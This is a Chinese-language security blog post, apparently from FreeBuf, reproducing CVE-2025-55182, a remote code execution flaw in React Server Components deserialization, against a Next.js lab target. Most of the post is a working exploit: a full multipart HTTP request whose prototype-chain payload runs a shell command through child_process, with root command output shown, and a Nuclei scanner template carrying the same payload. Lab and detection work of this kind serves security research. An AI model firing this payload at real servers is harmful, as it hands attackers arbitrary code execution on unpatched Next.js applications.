重要法律与道德声明
本文仅供合法的安全研究与学习用途。所有操作均在本地或授权授权的靶场环境(如Vulhub的环境)中进行。
严禁将本文所述技术用于任何未经授权的真实系统、网络或网站。此行为是违法犯罪行为,将面临法律严惩。
文中涉及的攻击工具仅为展示漏洞危害、理解攻击原理及学习防御手段而使用。请勿将其用于非法目的。
读者因使用本文技术所造成的任何直接或间接后果,作者及发布平台均不承担责任。
安全研究的核心目的是提升防御能力,保护网络空间安全。请务必遵守《网络安全法》等相关法律法规,坚守道德底线。
该漏洞影响react-server-dom-webpack、react-server-dom-parcel和react-server-dom-turbopack的19.0到19.2.0版本,以及依赖这些包的框架(如Next.js)。
((react.production.min.js)||React.createElement\())
React Server Components中存在一个未授权的远程代码执行漏洞。攻击者可以向任何Server Function端点发送精心构造的恶意HTTP请求,当React对该请求进行反序列化时,即可在服务器上实现远程代码执行。
环境搭建
虽然这个漏洞是出现于React Server Components中,但Next.js作为最流行的React框架,在Next.js 15版本后已经全面支持React Server Components。因此,我们可以使用Next.js来复现漏洞。
环境启动后,访问http://your-ip:3000即可看到应用程序。
漏洞利用
脚本
https://github.com/ejpir/CVE-2025-55182-poc
复现
该漏洞是由于React Server Components在解码Payload时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。
发送如下数据包,即可执行命令id:
POST / HTTP/1.1
Host: 192.168.211.128:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 756
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--发送请求后,在响应头的x-action-redirect字段中可以看到id命令的执行结果:
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push

Nuclei的Yaml
id: CVE-2025-55182
info:
name: React Server Components Flight 协议反序列化代码执行(CVE-2025-55182)
author: Q_xE
severity: critical
description: 反序列化代码执行
tags: React
requests:
- method: POST
path:
- "{{BaseURL}}/" #{{BaseURL}} 根目录下也要必须加
headers:
Host: "{{Hostname}}"
Next-Action: "x"
Content-Type: "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body: |
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers:
# 使用正则匹配整个重定向头
- type: regex
part: header
regex:
- "/login\\?a=uid=(.*?) gid=(.*?) groups=(.*?);push"注意:不要加x-action-redirect: ,不然会失败。(我查过AI也不能匹配成功,有知道的师傅可以指导下,Thanks x_x )
regex:
- "/login\\?a=uid=(.*?) gid=(.*?) groups=(.*?);push"免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)


